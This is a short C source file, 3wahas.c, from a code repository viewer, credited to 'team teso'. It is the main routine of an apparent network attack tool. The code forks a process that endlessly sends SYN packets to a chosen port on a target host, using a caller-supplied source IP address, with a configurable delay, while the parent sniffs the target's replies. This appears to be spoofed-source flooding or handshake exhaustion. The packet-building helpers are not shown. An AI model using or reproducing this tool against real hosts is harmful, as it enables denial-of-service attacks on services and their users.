summaryrefslogtreecommitdiff
path: root/other/3wahas/3wahas.c
blob: d1a119c7c0e9739d99a38ded48f0991672952704 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/* phoenix - bah, fuckup
 *
 * by team teso
 *
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <libnet.h>
#include "common.h"
#include "network.h"
#include "packet.h"
#include "3wahas.h"
#include "sniff.h"


int
main (int argc, char **argv)
{
	char		*interface = "eth0";
	char		*src_ip, *dst_ip;
	u_short		dst_prt;

	if (argc != 5) {
		printf ("usage: %s <ip_src> <ip_dst> <ip_dst_port> <delay>\n\n", argv[0]);
		exit (EXIT_FAILURE);
	}
	src_ip = argv[1];
	dst_ip = argv[2];
	dst_prt = atoi (argv[3]);

	if (fork () == 0) {
		while (1) {
			pq_syns (src_ip, dst_ip, dst_prt);
			usleep (atoi (argv[4]));
		}
	}

	libnet_seed_prand ();

	printf ("3wahas "VERSION" by "AUTHORS" - rox0ring\n\n");

	sniff_new (interface, dst_ip);

	exit (EXIT_SUCCESS);
}